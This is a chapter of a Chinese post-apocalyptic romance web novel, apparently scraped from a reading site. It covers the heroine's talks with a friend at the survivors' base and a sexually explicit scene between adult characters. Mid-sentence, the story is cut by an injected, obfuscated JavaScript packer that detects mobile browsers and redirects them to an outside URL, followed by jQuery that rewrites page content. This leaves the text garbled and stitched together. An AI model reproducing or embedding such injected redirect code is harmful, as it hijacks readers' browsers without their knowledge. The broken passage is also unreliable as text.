接下来几天,三人一起往基地进发。


    杜茗星在这段时间与甜瑜交流,了解到她和方小郑的情况。


    甜瑜母亲没能在末日爆发初期幸免于难,现在与父亲两人一起住在基地,平日生活来源主要靠她打野,与队友组队离开基地,碰碰运气。


    只是现在附近的物资早已被搜刮殆尽,常常空手而归,不过身为异能者,处境还是比普通人好上不少。父亲则在基地内给人帮忙,做些零碎的活计。


    方小郑未觉醒异能,住在基地边缘,常常受到甜瑜接济。当年她一入驻基地,便很快认清形势,火速找了男友,之后生活虽然艰苦,但并未受到他人侵害。


    再加上,那时候苏梓涵的势力开始慢慢崛起,齐逸崭露头角之余,也对两人颇为照顾。


    基地的其他人就没这么好运,尽管律法严苛,但地下见不得人的交易屡禁不止,末世之中,人性的丑陋面逐渐撕开,常有普通人被当作货品明码标价。


    杜茗星听得唏嘘不已。


    “那方小郑男友有异能吗?”她关心道。


    “刚跟小郑交往时还没有,是之后觉醒的,身体强化系,”甜瑜顿了顿,笑道,“小郑还让我上手摸他手臂,肌肉硬得跟钢管似的。”


    杜茗星微抬下巴,凭空想象出一个肌肉猛男,满意点头,赞同道:“嗯,身体强化好啊……可以防身。”


    好啊,甜瑜不说是吧,她也不说。


    有了异能后,依然对普通人女友不离不弃,应该是不错的伴侣。


    乱世之中一切从简,曾经的公序良俗被抛弃,人们对于那张证早就不在意,只要有能力,三妻四妾都不算稀罕事,反而是正经操办婚礼的少之又少。


    想到这里,杜茗星忍不住打探起苏梓涵的情况,看看那位曾经说她“朝三暮四、水性杨花”的圣女,究竟有几个好哥哥。


    听完杜茗星的疑问,甜瑜笑笑:“不多,她的确有些桃色绯闻,但正式承认的就两个。不过,也可能暗中有包养小白脸?反正在她的异能面前,这些都是小事。”


    “她的异能,太独特了,是人类破局的关键。”


    说着说着,她的目光渐渐怅然,望着远处的夕阳发起呆,嘴上嘀嘀咕咕,无意识道,


    “带来龙涎香,真的能拯救我们吗?这个世界还有得救吗……”


    “有救的。”杜茗星拍向甜瑜的肩,一脸郑重,“我保证,一切如苏梓涵所言,她会净化全世界,为所有人带来希望。”


    “我也想相信,只是……”甜瑜压低声音,“你真相信一株草就能把她的异能放大无数倍,直接净化全世界的污染源?”


    “虽然有林医生的背书,但怎么想都……”


    杜茗星不置可否:“但你还是去了,为了这份希望义无反顾。不过尽大家所能罢了。”


    书中写道,星火组织怕普通人自行去讨伐boss,反而打草惊蛇,所以把沈初墨肖像定位机密,只在内部流传,不透露相关消息半分。


    不知内情的普通人,只能猜测林医生想通过龙涎香,放大苏梓涵的净化能力,从而清扫各个区域,看起来杯水车薪。


    没人能料到,他们剑指的,是造成一切污染的源头。


    讨论这些时,她们并未避开沈初墨。


    这位最大反派,只是默默听着,不时把目光投向杜茗星,眸色深沉,仿佛想从她的表情中捕捉什么。


    杜茗星被盯得有些心虚,当着反派的面讨论这些真的合适?


    但他反正已经知道剧情,假如刻意避开他,反而显得更加阴险,有种背后捅刀的感觉。


    她摇摇头,索性不再细究。


    抬头望着夕阳余晖,好好珍惜结局将近,最后在小世界的这段时日。


    等到晚上,杜茗星按照惯例,等甜瑜呼吸渐沉,准备从防护罩内撤退时,冷不丁从背后传来一句清晰的问话,


    “欣姐,你又要去找他了?”


    杜茗星身体一僵,垂下脑袋,俏脸遍布红霞,支支吾吾地不知该说些什么。甜瑜已经不是当初的高中生,实际年龄比她还大,根本糊弄不过去。


    “没事,你以后就直接去好啦,”甜瑜歪着头,笑眯眯地看她满脸羞赧的样子,眼神中不由带了点姨母笑,“我都说了,末世中没那么多规矩。”


    “别在意他人,及时行乐,保不准明天就被污染了。”


    经过这段时间相处,甜瑜发现沈怀欣与她印象中偏差得越来越远,那张盛气凌人的面具,不知何时已经替换成了如今温柔又细心的脸庞。


    还莫名有种没被末世污染过的、清澈的愚蠢,一种治世中单纯的安全感。


    甜瑜只能断定,沈初墨这家伙,姐控到ooc的程度了,沈怀欣哪有这么柔顺?起码加点毒舌属性吧。


    杜茗星憋了半天,百口莫辩,只能有些徒劳地张嘴:“我……其实我跟他没有血缘关系,不是真骨科。”


    甜瑜摆出一副“我都懂”的表情,配合地点点头。


    杜茗星想了又想,补充道:“而且,我是幻影,不是……”


    “欣姐,”这次甜瑜摇了摇头,握住她的双手,“在我心里,你已经是本人了。”


    “我也非常、非常希望,你来参加小郑的婚礼。”她再次发出邀请。


    杜茗星纠结一阵,不敢保证:“如果有条件的话。”


    甜瑜点点头,表示理解。


    “沈先生应该等急了吧?我就不留你了。”她望了眼能量罩外,正抱臂假寐的沈初墨。


    这对不知道为什么,总觉得有些别扭,倒不是藏着掖着的问题,而是分明眼神拉丝,却都有所顾虑,相互间维持着距离感。远远不及方小郑夫妻坦荡。


    甜瑜只能把这种现象归结于,因为是不容于世的关系,所以他俩畏惧世俗目光。但沈初墨真是这种人?


    她摇摇头,只能感慨家家有本难念的经。


    见欣姐还在咬着唇扒拉草地,把本来一地的青草嚯嚯成一小片光秃秃的地面,她索性把她往外推,


    “去吧,以后不用跟我睡了,沈初墨更需要你。”


    “……”


    杜茗星无颜以对,落荒而逃。


    楼梯。


    杜茗星咬着沈初墨衬衫,唾液浸湿着他的衣领,到处是潮热的气息。脑中还回荡着甜瑜的那句“沈初墨更需要你”。


    算下来,距离中毒几天了来着?一天、两天、三步、四步……


    杜茗星猛地意识到自己在数步数时,浑身一软,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982531|169913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挂在沈初墨身上,感觉抬不起头。


    她这样……真的完了。连日子都算不清楚,脑子完全被沈初墨搅成浆糊。


    “先……放我下来。”杜茗星扯他衣服。


    沈初墨把她往上托了托,上楼的动作轻缓了些,托得也更稳当,只是不愿放下。


    极其不愿。


    深入骨髓的瘾压倒不堪一击的理智,他只是哄,却不停下脚步,


    “快到了。”


    剩两步也是快,剩10分钟也是快。他缓慢移动的步伐,又撩又准,勾人得紧,就知道还有得磨。


    她抗议:“下次进卧室再做……”


    女孩眼尾泛红,落下饱满的泪珠,晕红双颊沾了上水汽,如同朝露中盛绽的玫瑰。


    动人心魄、艳丽旖旎。


    她求救无门,只能咬着衬衫下的锁骨忍耐,把牙印泄愤似的刻在他皮肤上。


    不禁抱怨起来:“你的毒解好了吗?很久了。”


    “快了。”


    每次问,每次都说快了,但又没有一丝恢复的迹象,夜夜笙歌,看起来还是很渴。


    杜茗星不清楚,是不是因为采摘龙涎香的剧情有所不同,出了什么岔子,才导致禁果的毒久久难消。


    又迈出一步。


    因为她的抗议,沈初墨托举得更为克制,娇躯不像之前落得那么厉害,但还是因难以承受的重力,眼前白光乍现。


    如同过载的机器,随着不堪重负的运作,关节炸开劈里啪啦的火花,四溢的火点落到楼梯上,能点燃整栋宅子。


    室内更加闷热。


    杜茗星回到自己床上时,手脚还缠在沈初墨身上,连体婴似的。


    她看着男人轮廓分明的脸庞,感慨着他的好看,那种即便剃了寸头、也毋庸置疑的俊美。


    他暗色的眼眸深处有火光、也有星碎,许许多尖锐与柔软混杂在一起,就像是扎着针、乱成一团的线。剪不断,理还乱。


    “星星,”沈初墨掀起眼皮,望着她,眼神有些认输似的妥协,“我去基地,你满意吗?”


    “满意啊。”她仍旧弯了弯眉,柔声回答,语气中藏不住的雀跃。


    去基地,意味着与女主碰面,还带着龙涎香,一切都按照杜茗星的设想进行着,顺利地不可思议。


    万事俱备,只欠东风。整本的结局真的近了。


    沈初墨眼神暗了暗。低头咬她的香肩,叼着扭了扭头,带了点野兽捕猎时、凶狠撕扯猎物的意味。


    白皙光滑的肩上,很快多了道血痕。


    他掐着她柔若无骨的腰,更加用力,直到腰上也印下条条红印。


    她皮肤嫩,角质层薄,娇气得不行,一点点力度都能留下醒目的痕迹,好似遭受过什么凌虐般,只有恢复算快。


    他一遍遍印,敲章似的,耐心等复原后再烙上,不厌其烦。


    再看看她的脸,已经被欺负得梨花带雨,挺俏小巧的鼻尖泛着微微的酸红,眼神湿漉漉的,樱唇更是红肿不堪。


    见他盯着她看,还没心没肺地弯弯眉毛,一副惹人欺负更狠的娇憨模样。


    “初墨,”她抚上他的脸,温柔似水,吐出的话却无情而残忍,


    “你想去看看苏梓涵吗?”